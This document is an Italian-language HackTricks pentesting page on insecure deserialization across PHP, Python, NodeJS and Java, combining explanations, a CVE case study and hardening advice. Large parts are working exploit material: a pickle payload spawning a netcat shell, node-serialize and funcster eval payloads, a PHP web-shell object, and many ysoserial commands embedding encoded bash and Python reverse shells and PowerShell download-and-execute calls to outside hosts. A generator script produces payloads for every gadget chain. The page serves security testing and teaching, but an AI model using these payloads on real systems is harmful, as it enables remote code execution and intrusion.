Deserialization

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Serialization è intesa come il metodo per convertire un oggetto in un formato che può essere preservato, con l’intento di memorizzare l’oggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica è comunemente impiegata per garantire che l’oggetto possa essere ricreato in un secondo momento, mantenendo la sua struttura e il suo stato.

Deserialization, al contrario, è il processo che contrasta la serialization. Consiste nel prendere dati che sono stati strutturati in un formato specifico e ricostruirli nuovamente in un oggetto.

La Deserialization può essere pericolosa perché potenzialmente consente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso o causare comportamenti inattesi nell’applicazione durante il processo di ricostruzione dell’oggetto.

PHP

In PHP, alcuni metodi magici vengono utilizzati durante i processi di serialization e deserialization:

  • __sleep: Invocato quando un oggetto viene serialized. Questo metodo dovrebbe restituire un array con i nomi di tutte le proprietĂ  dell’oggetto che devono essere serializzate. È comunemente usato per salvare dati pendenti o eseguire operazioni di pulizia simili.
  • __wakeup: Chiamato quando un oggetto viene deserialized. Viene usato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serialization e per eseguire altre operazioni di reinizializzazione.
  • __unserialize: Questo metodo viene chiamato al posto di __wakeup (se presente) quando un oggetto viene deserialized. Fornisce maggiore controllo sul processo di deserialization rispetto a __wakeup.
  • __destruct: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. È tipicamente usato per attivitĂ  di pulizia, come chiudere file handles o connessioni al database.
  • __toString: Questo metodo permette che un oggetto venga trattato come una stringa. Può essere utilizzato per leggere un file o per altre operazioni basate sulle chiamate di funzione al suo interno, fornendo di fatto una rappresentazione testuale dell’oggetto.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Se guardi i risultati puoi vedere che le funzioni __wakeup e __destruct vengono chiamate quando l’oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione __toString viene chiamata quando si prova a stampare qualche attributo, ma a quanto pare questo non succede più.

Warning

Il metodo __unserialize(array $data) viene chiamato invece di __wakeup() se è implementato nella classe. Permette di unserializzare l’oggetto fornendo i dati serializzati come array. Puoi usare questo metodo per unserializzare le proprietà ed eseguire eventuali operazioni necessarie alla deserializzazione.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Puoi leggere un esempio PHP spiegato qui: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, qui https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o qui https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

È possibile abusare della funzionalità PHP autoload per caricare file php arbitrari e altro:

PHP - Deserialization + Autoload Classes

Serializzazione di valori referenziati

Se per qualche motivo vuoi serializzare un valore come riferimento a un altro valore serializzato puoi:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Prevenire PHP Object Injection con allowed_classes

[!INFO] Il supporto per il secondo argomento di unserialize() (l’array $options) è stato aggiunto in PHP 7.0. Nelle versioni precedenti la funzione accetta solo la stringa serializzata, rendendo impossibile limitare quali classi possono essere istanziate.

unserialize() istanzierà ogni classe che trova nel flusso serializzato a meno che non venga indicato diversamente. A partire da PHP 7 il comportamento può essere limitato con l’opzione allowed_classes:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Se allowed_classes è omesso o il codice gira su PHP < 7.0, la chiamata diventa pericolosa poichÊ un attaccante può costruire un payload che abusa dei magic methods come __wakeup() o __destruct() per ottenere Remote Code Execution (RCE).

Esempio reale: Everest Forms (WordPress) CVE-2025-52709

Il plugin WordPress Everest Forms ≤ 3.2.2 ha cercato di essere difensivo con un helper wrapper ma ha dimenticato le versioni legacy di PHP:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Sui server che eseguivano ancora PHP ≤ 7.0, questo secondo ramo portava a un classico PHP Object Injection quando un amministratore apriva un invio di form malevolo. Un payload exploit minimo potrebbe essere:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Non appena l’admin ha visualizzato la voce, l’oggetto è stato istanziato e SomeClass::__destruct() è stato eseguito, risultando in arbitrary code execution.

Punti chiave

  1. Passare sempre ['allowed_classes' => false] (o una lista bianca rigorosa) quando si chiama unserialize().
  2. Verificare i wrapper difensivi – spesso si dimenticano i branch legacy di PHP.
  3. Aggiornare a PHP ≥ 7.x da solo non è sufficiente: l’opzione deve comunque essere fornita esplicitamente.

PHPGGC (ysoserial for PHP)

PHPGGC può aiutarti a generare payloads per abusare delle deserializzazioni PHP.
Nota che in diversi casi non sarai in grado di trovare un modo per abusare di una deserializzazione nel codice sorgente dell’applicazione ma potresti essere in grado di abusare del codice di estensioni PHP esterne.
Quindi, se puoi, controlla il phpinfo() del server e cerca su internet (e anche sui gadgets di PHPGGC) qualche possibile gadget che potresti abusare.

phar:// metadata deserialization

Se hai trovato una LFI che sta solo leggendo il file e non eseguendo il codice php al suo interno, per esempio usando funzioni come file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Puoi provare ad abusare di una deserializzazione che avviene quando si legge un file usando il protocollo phar.
Per maggiori informazioni leggi il seguente post:

phar:// deserialization

Python

Pickle

Quando l’oggetto viene unpickle, la funzione ___reduce___ verrà eseguita.
Se sfruttata, il server potrebbe restituire un errore.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Prima di controllare la tecnica di bypass, prova a usare print(base64.b64encode(pickle.dumps(P(),2))) per generare un oggetto compatibile con python2 se stai eseguendo python3.

Per maggiori informazioni su come evadere dalle pickle jails consulta:

Bypass Python sandboxes

Yaml & jsonpickle

La pagina seguente presenta la tecnica per abusare di una deserializzazione non sicura nelle librerie YAML di Python e termina con uno strumento che può essere usato per generare payload di deserializzazione RCE per Pickle, PyYAML, jsonpickle e ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS non ha funzioni “magic” come PHP o Python che vengano eseguite semplicemente creando un oggetto. Ma ha alcune functions che sono frequentemente usate anche senza essere chiamate direttamente come toString, valueOf, toJSON.
Se si abusa di una deserializzazione si possono compromettere queste funzioni per eseguire altro codice (potenzialmente abusando di prototype pollutions) e si potrebbe eseguire codice arbitrario quando vengono chiamate.

Un altro “magic” way to call a function senza chiamarla direttamente è compromettendo un oggetto che viene restituito da una funzione async (promise). Perché, se trasformi quell’oggetto di ritorno in un’altra promise con una property chiamata “then” of type function, essa sarà eseguita semplicemente perché viene restituita da un’altra promise. Segui this link per maggiori informazioni.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Se vuoi approfondire questa tecnica dai un’occhiata al seguente tutorial:

NodeJS - proto & prototype Pollution

node-serialize

Questa libreria permette di serializzare funzioni. Esempio:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

L’oggetto serializzato avrà il seguente aspetto:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Puoi vedere nell’esempio che quando una funzione viene serializzata il flag _$$ND_FUNC$$_ viene aggiunto all’oggetto serializzato.

All’interno del file node-serialize/lib/serialize.js puoi trovare lo stesso flag e come il codice lo utilizza.

Come puoi vedere nell’ultimo blocco di codice, se il flag viene rilevato eval viene usato per deserializzare la funzione, quindi fondamentalmente l’input dell’utente viene usato all’interno della funzione eval.

Tuttavia, serializzare da sola una funzione non la eseguirà, perchÊ sarebbe necessario che qualche parte del codice stesse chiamando y.rce nel nostro esempio e questo è altamente improbabile.
Comunque, puoi semplicemente modificare l’oggetto serializzato aggiungendo delle parentesi in modo da eseguire automaticamente la funzione serializzata quando l’oggetto viene deserializzato.
Nel prossimo blocco di codice nota l’ultima parentesi e come la funzione unserialize eseguirà automaticamente il codice:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Come indicato in precedenza, questa libreria otterrà il code dopo _$$ND_FUNC$$_ e lo eseguirà usando eval. Pertanto, per auto-execute code puoi eliminare la parte di creazione della function e l’ultima parentesi e semplicemente eseguire un JS oneliner come nell’esempio seguente:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Puoi trovare ulteriori informazioni find here su come sfruttare questa vulnerabilitĂ .

funcster

Un aspetto degno di nota di funcster è l’inaccessibilità degli oggetti integrati standard; essi ricadono al di fuori dell’ambito accessibile. Questa restrizione impedisce l’esecuzione di codice che tenta di invocare metodi sugli oggetti incorporati, causando eccezioni come “ReferenceError: console is not defined” quando vengono usati comandi come console.log() o require(something).

Nonostante questa limitazione, è possibile ripristinare l’accesso completo al contesto globale, inclusi tutti gli oggetti integrati standard, tramite un approccio specifico. Sfruttando direttamente il contesto globale, è possibile aggirare questa restrizione. Ad esempio, l’accesso può essere ristabilito usando il seguente snippet:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Per maggiori informazioni leggi questa fonte.

serialize-javascript

Il pacchetto serialize-javascript è progettato esclusivamente per scopi di serializzazione, e non dispone di funzionalità integrate di deserializzazione. Agli utenti spetta implementare il proprio metodo di deserializzazione. Nell’esempio ufficiale per deserializzare dati serializzati viene suggerito l’uso diretto di eval:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Se questa funzione viene utilizzata per deserializzare oggetti puoi sfruttarla facilmente:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Per more information read this source.

Libreria Cryo

Nelle pagine seguenti è possibile trovare informazioni su come abusare di questa library per eseguire comandi arbitrari:

Java - HTTP

In Java, i callback di deserializzazione vengono eseguiti durante il processo di deserializzazione. Questa esecuzione può essere sfruttata da un attacker che crafta payload maligni che attivano questi callback, portando alla possibile esecuzione di azioni dannose.

Impronte

White Box

Per identificare potenziali vulnerabilitĂ  di serializzazione nel codice, cerca:

  • Classi che implementano l’interfaccia Serializable.
  • Uso di java.io.ObjectInputStream, funzioni readObject, readUnshare.

Presta particolare attenzione a:

  • XMLDecoder utilizzato con parametri definiti da utenti esterni.
  • Il metodo fromXML di XStream, specialmente se la versione di XStream è minore o uguale a 1.46, poichĂŠ è suscettibile a problemi di serializzazione.
  • ObjectInputStream accoppiato con il metodo readObject.
  • Implementazioni di metodi come readObject, readObjectNodData, readResolve o readExternal.
  • ObjectInputStream.readUnshared.
  • Uso generale di Serializable.

Black Box

Per i test Black Box, cerca specifiche signature o “Magic Bytes” che denotano java serialized objects (originating from ObjectInputStream):

  • Pattern esadecimale: AC ED 00 05.
  • Pattern Base64: rO0.
  • Header di risposta HTTP con Content-type impostato su application/x-java-serialized-object.
  • Pattern esadecimale che indica una compressione precedente: 1F 8B 08 00.
  • Pattern Base64 che indica una compressione precedente: H4sIA.
  • File web con estensione .faces e il parametro faces.ViewState. Scoprire questi pattern in un’applicazione web dovrebbe portare a un’analisi come dettagliato nel post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Verifica se è vulnerabile

Se vuoi learn about how does a Java Deserialized exploit work dovresti dare un’occhiata a Basic Java Deserialization, Java DNS Deserialization, and CommonsCollection1 Payload.

SignedObject-gated deserialization e pre-auth reachability

I codebase moderni a volte avvolgono la deserialization con java.security.SignedObject e verificano la firma prima di chiamare getObject() (che deserializza l’oggetto interno). Questo impedisce arbitrary top-level gadget classes ma può comunque essere exploitable se un attacker riesce a ottenere una firma valida (es., private-key compromise o un signing oracle). Inoltre, i flussi di error-handling possono mintare session-bound token per utenti unauthenticated, esponendo sink altrimenti protetti pre-auth.

Per un caso di studio concreto con requests, IoCs, e indicazioni di hardening, vedi:

Java Signedobject Gated Deserialization

White Box Test

Puoi verificare se è installata qualche applicazione con vulnerabilità note.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Puoi provare a controllare tutte le librerie note per essere vulnerabili e per le quali Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
Puoi anche usare gadgetinspector per cercare possibili gadget chains che possono essere sfruttate.
Quando esegui gadgetinspector (dopo averlo compilato) non preoccuparti delle tonnellate di warning/errori che produrrà e lascia che finisca. Scriverà tutti i risultati sotto gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Nota che gadgetinspector non creerà un exploit e può indicare falsi positivi.

Test Black Box

Usando l’estensione di Burp gadgetprobe puoi identificare quali librerie sono disponibili (e persino le versioni). Con queste informazioni potrebbe essere più facile scegliere un payload per sfruttare la vulnerabilità.
Read this to learn more about GadgetProbe.
GadgetProbe è focalizzato sulle deserializzazioni ObjectInputStream.

Usando l’estensione di Burp Java Deserialization Scanner puoi identificare librerie vulnerabili sfruttabili con ysoserial e sfruttarle.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner è focalizzato sulle deserializzazioni ObjectInputStream.

Puoi anche usare Freddy per rilevare vulnerabilitĂ  di deserializzazione in Burp. Questo plugin rileverĂ  non solo vulnerabilitĂ  correlate a ObjectInputStream ma anche vulnerabilitĂ  provenienti da librerie di deserializzazione Json e Yml. In modalitĂ  attiva tenterĂ  di confermarle usando payload di tipo sleep o DNS.
You can find more information about Freddy here.

Test di serializzazione

Non si tratta solo di verificare se il server usa qualche libreria vulnerabile. A volte potresti essere in grado di modificare i dati all’interno dell’oggetto serializzato e bypassare alcuni controlli (magari ottenendo privilegi admin in una webapp).
Se trovi un oggetto java serializzato inviato a un’applicazione web, puoi usare SerializationDumper per stampare in un formato più leggibile l’oggetto serializzato che viene inviato. Sapere quali dati stai inviando rende più facile modificarli e bypassare alcuni controlli.

Exploit

ysoserial

Lo strumento principale per sfruttare le deserializzazioni Java è ysoserial (download here). Puoi anche considerare l’uso di ysoseral-modified che ti permetterà di usare comandi complessi (con pipe, per esempio).
Nota che questo tool è focalizzato sullo sfruttamento di ObjectInputStream.
Io inizierei usando il payload “URLDNS” prima di un payload RCE per testare se l’iniezione è possibile. Comunque, nota che potrebbe essere che il payload “URLDNS” non funzioni ma un altro payload RCE sì.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Quando si crea un payload per java.lang.Runtime.exec() non è possibile usare caratteri speciali come “>” o “|” per reindirizzare l’output di un’esecuzione, “$()” per eseguire comandi o anche passare argomenti a un comando separati da spazi (puoi fare echo -n "hello world" ma non puoi fare python2 -c 'print "Hello world"'). Per codificare correttamente il payload puoi use this webpage.

Usa pure lo script seguente per creare all the possible code execution payloads per Windows e Linux e poi testarli sulla pagina web vulnerabile:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Puoi usare https://github.com/pwntester/SerialKillerBypassGadgetCollection insieme a ysoserial per creare piÚ exploit. Maggiori informazioni su questo tool nelle slide della presentazione in cui lo strumento è stato presentato: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec può essere usato per generare payloads per sfruttare diverse librerie di serializzazione Json e Yml in Java.
Per compilare il progetto ho dovuto aggiungere queste dipendenze a pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installa maven e compila il progetto:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Leggi di piĂš su questa libreria Java per JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratori

PerchĂŠ

Java usa molta serialization per vari scopi come:

  • Richieste HTTP: la serialization è ampiamente impiegata nella gestione di parametri, ViewState, cookie, ecc.
  • RMI (Remote Method Invocation): il protocollo Java RMI, che si basa interamente sulla serialization, è un pilastro per la comunicazione remota nelle applicazioni Java.
  • RMI over HTTP: questo metodo è comunemente usato dalle applicazioni web Java con thick client, che utilizzano la serialization per tutte le comunicazioni di oggetti.
  • JMX (Java Management Extensions): JMX utilizza la serialization per trasmettere oggetti sulla rete.
  • Protocolli personalizzati: in Java, la pratica standard prevede la trasmissione di oggetti Java grezzi, cosa che verrĂ  dimostrata nei prossimi esempi di exploit.

Prevenzione

Oggetti transient

Una classe che implementa Serializable può dichiarare come transient qualsiasi oggetto all’interno della classe che non dovrebbe essere serializzabile. Per esempio:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Evitare la serializzazione di una classe che deve implementare Serializable

In scenari in cui certi oggetti devono implementare l’interfaccia Serializable a causa della gerarchia di classi, c’è il rischio di una deserializzazione involontaria. Per evitarlo, assicurati che questi oggetti non siano deserializzabili definendo un metodo final readObject() che lancia sempre un’eccezione, come mostrato di seguito:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Migliorare la sicurezza della deserializzazione in Java

Customizing java.io.ObjectInputStream è un approccio pratico per mettere in sicurezza i processi di deserializzazione. Questo metodo è adatto quando:

  • Il codice di deserializzazione è sotto il tuo controllo.
  • Le classi previste per la deserializzazione sono note.

Sovrascrivi il metodo resolveClass() per limitare la deserializzazione solo alle classi consentite. Questo impedisce la deserializzazione di qualsiasi classe eccetto quelle esplicitamente permesse, come nell’esempio seguente che restringe la deserializzazione alla sola classe Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

L’uso di un Java Agent per il miglioramento della sicurezza offre una soluzione di ripiego quando non è possibile modificare il codice. Questo metodo si applica principalmente per blacklisting harmful classes, usando un parametro JVM:

-javaagent:name-of-agent.jar

Fornisce un modo per proteggere la deserializzazione in modo dinamico, ideale per ambienti dove modifiche immediate al codice sono impraticabili.

Vedi un esempio in rO0 by Contrast Security

Implementazione dei filtri di serializzazione: Java 9 ha introdotto i filtri di serializzazione tramite l’interfaccia ObjectInputFilter, offrendo un meccanismo potente per specificare criteri che gli oggetti serializzati devono soddisfare prima della deserializzazione. Questi filtri possono essere applicati globalmente o per singolo stream, offrendo un controllo granulare sul processo di deserializzazione.

Per utilizzare i filtri di serializzazione, puoi impostare un filtro globale che si applica a tutte le operazioni di deserializzazione oppure configurarlo dinamicamente per stream specifici. Per esempio:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Leveraging External Libraries for Enhanced Security: Librerie come NotSoSerial, jdeserialize e Kryo offrono funzionalitĂ  avanzate per controllare e monitorare la deserialization in Java. Queste librerie possono fornire livelli aggiuntivi di sicurezza, come whitelist o blacklist di classi, analizzare oggetti serialized prima della deserialization e implementare strategie di serialization personalizzate.

  • NotSoSerial intercetta i processi di deserialization per prevenire l’esecuzione di codice non attendibile.
  • jdeserialize permette l’analisi di oggetti Java serialized senza deserializzarli, aiutando a identificare contenuti potenzialmente malevoli.
  • Kryo è un framework alternativo di serialization che enfatizza velocitĂ  ed efficienza, offrendo strategie di serialization configurabili che possono migliorare la sicurezza.

Riferimenti

JNDI Injection & log4Shell

Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API è una Java message-oriented middleware API per l’invio di messaggi tra due o più client. È un’implementazione per gestire il problema producer–consumer. JMS fa parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata da Sun Microsystems, ma da allora è stata guidata dal Java Community Process. È uno standard di messaging che permette ai componenti applicativi basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un’applicazione distribuita in modo loose coupled, affidabile e asincrono. (From Wikipedia).

Products

Esistono diversi prodotti che utilizzano questo middleware per inviare messaggi:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

Quindi, fondamentalmente ci sono un sacco di servizi che usano JMS in modo pericoloso. Pertanto, se hai privilegi sufficienti per inviare messaggi a questi servizi (di solito serviranno credenziali valide) potresti essere in grado di inviare oggetti serialized malevoli che verranno deserialized dal consumer/subscriber.
